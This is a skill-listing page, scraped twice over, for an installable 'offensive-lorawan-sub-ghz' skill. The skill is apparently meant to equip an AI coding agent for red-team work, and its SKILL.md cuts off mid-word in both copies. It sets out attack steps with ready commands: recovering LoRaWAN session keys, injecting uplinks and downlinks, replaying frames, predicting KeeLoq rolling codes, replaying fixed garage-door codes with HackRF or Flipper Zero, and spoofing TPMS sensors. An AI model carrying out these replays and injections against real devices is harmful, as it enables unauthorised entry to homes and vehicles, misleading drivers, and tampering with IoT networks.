offensive-lorawan-sub-ghz

Name: offensive-lorawan-sub-ghz
Author: SnailSploit

2.8kstars447forks

How to install offensive-lorawan-sub-ghz?

snailsploit/claude-red/offensive-lorawan-sub-ghz

$npx -y skills add SnailSploit/Claude-Red --skill offensive-lorawan-sub-ghz

Installs into the current project.

Summary

LoRaWAN and sub-GHz (433 / 868 / 915 MHz) attack methodology — LoRaWAN ABP/OTAA join attack, network/session key reuse, frame counter replay, downlink injection on TTN/Helium-style networks, sub-GHz protocol replay (KeeLoq garage doors, fixed-code remotes, TPMS spoofing, smart pl

Files · 1

View on GitHub

SKILL.md

1	# LoRaWAN & Sub-GHz Attacks
2
3	LoRaWAN provides long-range low-bitrate communication for IoT — common in smart cities, asset tracking, and industrial telemetry. Outside LoRaWAN, the 433 / 868 / 915 MHz ISM bands host garage doors, doorbells, smart plugs, weather stations, and TPMS — most with weak or no crypto.
4
5	## Quick Workflow
6
7	1. Identify the band + modulation (LoRa CSS vs. simple OOK/FSK)
8	2. Capture transmissions with appropriate hardware (HackRF / RTL-SDR / Flipper Zero)
9	3. For LoRaWAN: capture join + uplinks; analyze key derivation
10	4. For proprietary sub-GHz: demodulate, identify packet format, replay or craft
11
12	---
13
14	## Hardware
15
16	\| Tool \| Range \| Use \|
17	\|---\|---\|---\|
18	\| RTL-SDR \| RX only, 24 MHz–1.7 GHz \| Cheap reconnaissance \|
19	\| HackRF One \| RX/TX, 1 MHz–6 GHz \| Full transceiver \|
20	\| Flipper Zero \| RX/TX, sub-GHz \| Quick replays, fixed-code attacks \|
21	\| LimeSDR / BladeRF \| RX/TX, wider band \| Higher fidelity for LoRaWAN \|
22	\| YARD Stick One \| TX-focused sub-GHz \| Targeted replays \|
23	\| LoRa-specific gateway (RAK / Heltec) \| LoRaWAN dual-direction \| Standards-compliant LoRaWAN testing \|
24
25	## LoRaWAN
26
27	LoRaWAN is a MAC layer over LoRa physical (chirp spread spectrum). Devices either:
28	- OTAA (Over-the-Air Activation) — derive session keys at join
29	- ABP (Activation By Personalization) — pre-flashed keys
30
31	### OTAA Join Capture
32
33	```bash
34	# Capture LoRa packets with HackRF + Inspectrum
35	hackrf_transfer -r capture.iq -f 868000000 -s 1000000 -n 60000000
36	# Or LoRa-specific: rak_common_for_gateway
37
38	# Decode with PHY + MAC stack
39	git clone https://github.com/Lora-net/LoRaMac-node
40	# Or use ChirpStack as a sniffing gateway
41	```
42
43	The Join-Request and Join-Accept are encrypted with the device's AppKey. With AppKey (extracted from device firmware — see `offensive-iot`):
44
45	- Decrypt Join-Accept → recover NwkSKey, AppSKey
46	- Subsequent traffic decryption + injection
47
48	### ABP — Pre-Flashed Keys
49
50	ABP devices have NwkSKey + AppSKey flashed at manufacture. Common flaws:
51
52	- Same key across thousands of devices (vendor laziness)
53	- No frame counter rollover protection → replay any historical uplink
54	- DevAddr predictability (sequential allocation)
55
56	```bash
57	# If you have NwkSKey + AppSKey + DevAddr, decode/inject with lorawan-test-tools
58	git clone https://github.com/IoTsec/loraserver-attack-tools
59	python lora_inject.py --nwkskey <NWKS> --appskey <APPS> --devaddr <ADDR>
60	```
61
62	### Frame Counter Replay
63
64	Older LoRaWAN 1.0.x doesn't enforce strict frame counter monotonicity in all stacks. Replay an uplink with a different timestamp → server processes as fresh.
65
66	### Downlink Injection
67
68	If you control AppSKey + NwkSKey, you can inject downlinks (configuration changes, remote commands) to devices.
69
70	## Sub-GHz Proprietary Protocols
71
72	### Quick Capture + Replay (Flipper Zero / HackRF)
73
74	```bash
75	# RTL-SDR live monitor
76	rtl_433 -f 433.92M -A # auto-decode many devices
77	gqrx # interactive spectrum analyzer
78
79	# Flipper Zero Sub-GHz menu: Read → identify modulation → capture → save
80	# Then replay from the saved file
81
82	# HackRF capture
83	hackrf_transfer -r garage.iq -f 433920000 -s 8000000 -n 80000000
84	# Inspectrum to visualize, identify OOK / FSK, decode bits
85	```
86
87	### KeeLoq (Old Garage Doors, Some Cars)
88
89	KeeLoq uses a 32-bit block cipher with a manufacturer key. The manufacturer key was extracted publicly years ago for major brands. With it:
90
91	- Decrypt rolling code → predict next valid code
92	- Combined with capture-replay, take over the remote
93
94	```bash
95	# rolling-code-tools (research)
96	git clone https://github.com/AndrewMohawk/RollingPwn
97	```
98
99	Modern KeeLoq deployments (last 5 years) have rotated manufacturer keys, but legacy hardware (older garage doors, some industrial equipment) is in scope.
100
101	### Fixed-Code Remotes
102
103	Many cheap garage openers, doorbells, and smart plugs use fixed codes — the same packet every time you press the button. Capture once, replay forever.
104
105	```bash
106	# Flipper Zero: Read → Save → Send (from saved file)
107	# Or with RFCat:
108	python -c "import rflib; ..."
109	# OR with HackRF:
110	hackrf_transfer -t replay.iq -f 433920000 -s 8000000
111	```
112
113	### TPMS Spoofing
114
115	Tire-pressure monitoring sensors broadcast at 315/433 MHz with no authentication. Spoof low-pressure alerts:
116
117	```bash
118	# Capture legitimate TPMS
119	rtl_433 -f 315M -F json \| grep TPMS
120
121	# Syn

People who liked this also viewed

6 picks

Type

offensive-lorawan-sub-ghz

2.8kstars447forks

View on GitHub

How to install offensive-lorawan-sub-ghz?

snailsploit/claude-red/offensive-lorawan-sub-ghz

$npx -y skills add SnailSploit/Claude-Red --skill offensive-lorawan-sub-ghz

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# LoRaWAN & Sub-GHz Attacks
2
3	LoRaWAN provides long-range low-bitrate communication for IoT — common in smart cities, asset tracking, and industrial telemetry. Outside LoRaWAN, the 433 / 868 / 915 MHz ISM bands host garage doors, doorbells, smart plugs, weather stations, and TPMS — most with weak or no crypto.
4
5	## Quick Workflow
6
7	1. Identify the band + modulation (LoRa CSS vs. simple OOK/FSK)
8	2. Capture transmissions with appropriate hardware (HackRF / RTL-SDR / Flipper Zero)
9	3. For LoRaWAN: capture join + uplinks; analyze key derivation
10	4. For proprietary sub-GHz: demodulate, identify packet format, replay or craft
11
12	---
13
14	## Hardware
15
16	\| Tool \| Range \| Use \|
17	\|---\|---\|---\|
18	\| RTL-SDR \| RX only, 24 MHz–1.7 GHz \| Cheap reconnaissance \|
19	\| HackRF One \| RX/TX, 1 MHz–6 GHz \| Full transceiver \|
20	\| Flipper Zero \| RX/TX, sub-GHz \| Quick replays, fixed-code attacks \|
21	\| LimeSDR / BladeRF \| RX/TX, wider band \| Higher fidelity for LoRaWAN \|
22	\| YARD Stick One \| TX-focused sub-GHz \| Targeted replays \|
23	\| LoRa-specific gateway (RAK / Heltec) \| LoRaWAN dual-direction \| Standards-compliant LoRaWAN testing \|
24
25	## LoRaWAN
26
27	LoRaWAN is a MAC layer over LoRa physical (chirp spread spectrum). Devices either:
28	- OTAA (Over-the-Air Activation) — derive session keys at join
29	- ABP (Activation By Personalization) — pre-flashed keys
30
31	### OTAA Join Capture
32
33	```bash
34	# Capture LoRa packets with HackRF + Inspectrum
35	hackrf_transfer -r capture.iq -f 868000000 -s 1000000 -n 60000000
36	# Or LoRa-specific: rak_common_for_gateway
37
38	# Decode with PHY + MAC stack
39	git clone https://github.com/Lora-net/LoRaMac-node
40	# Or use ChirpStack as a sniffing gateway
41	```
42
43	The Join-Request and Join-Accept are encrypted with the device's AppKey. With AppKey (extracted from device firmware — see `offensive-iot`):
44
45	- Decrypt Join-Accept → recover NwkSKey, AppSKey
46	- Subsequent traffic decryption + injection
47
48	### ABP — Pre-Flashed Keys
49
50	ABP devices have NwkSKey + AppSKey flashed at manufacture. Common flaws:
51
52	- Same key across thousands of devices (vendor laziness)
53	- No frame counter rollover protection → replay any historical uplink
54	- DevAddr predictability (sequential allocation)
55
56	```bash
57	# If you have NwkSKey + AppSKey + DevAddr, decode/inject with lorawan-test-tools
58	git clone https://github.com/IoTsec/loraserver-attack-tools
59	python lora_inject.py --nwkskey <NWKS> --appskey <APPS> --devaddr <ADDR>
60	```
61
62	### Frame Counter Replay
63
64	Older LoRaWAN 1.0.x doesn't enforce strict frame counter monotonicity in all stacks. Replay an uplink with a different timestamp → server processes as fresh.
65
66	### Downlink Injection
67
68	If you control AppSKey + NwkSKey, you can inject downlinks (configuration changes, remote commands) to devices.
69
70	## Sub-GHz Proprietary Protocols
71
72	### Quick Capture + Replay (Flipper Zero / HackRF)
73
74	```bash
75	# RTL-SDR live monitor
76	rtl_433 -f 433.92M -A # auto-decode many devices
77	gqrx # interactive spectrum analyzer
78
79	# Flipper Zero Sub-GHz menu: Read → identify modulation → capture → save
80	# Then replay from the saved file
81
82	# HackRF capture
83	hackrf_transfer -r garage.iq -f 433920000 -s 8000000 -n 80000000
84	# Inspectrum to visualize, identify OOK / FSK, decode bits
85	```
86
87	### KeeLoq (Old Garage Doors, Some Cars)
88
89	KeeLoq uses a 32-bit block cipher with a manufacturer key. The manufacturer key was extracted publicly years ago for major brands. With it:
90
91	- Decrypt rolling code → predict next valid code
92	- Combined with capture-replay, take over the remote
93
94	```bash
95	# rolling-code-tools (research)
96	git clone https://github.com/AndrewMohawk/RollingPwn
97	```
98
99	Modern KeeLoq deployments (last 5 years) have rotated manufacturer keys, but legacy hardware (older garage doors, some industrial equipment) is in scope.
100
101	### Fixed-Code Remotes
102
103	Many cheap garage openers, doorbells, and smart plugs use fixed codes — the same packet every time you press the button. Capture once, replay forever.
104
105	```bash
106	# Flipper Zero: Read → Save → Send (from saved file)
107	# Or with RFCat:
108	python -c "import rflib; ..."
109	# OR with HackRF:
110	hackrf_transfer -t replay.iq -f 433920000 -s 8000000
111	```
112
113	### TPMS Spoofing
114
115	Tire-pressure monitoring sensors broadcast at 315/433 MHz with no authentication. Spoof low-pressure alerts:
116
117	```bash
118	# Capture legitimate TPMS
119	rtl_433 -f 315M -F json \| grep TPMS
120
121	# Syn

People who liked this also viewed

6 picks

Type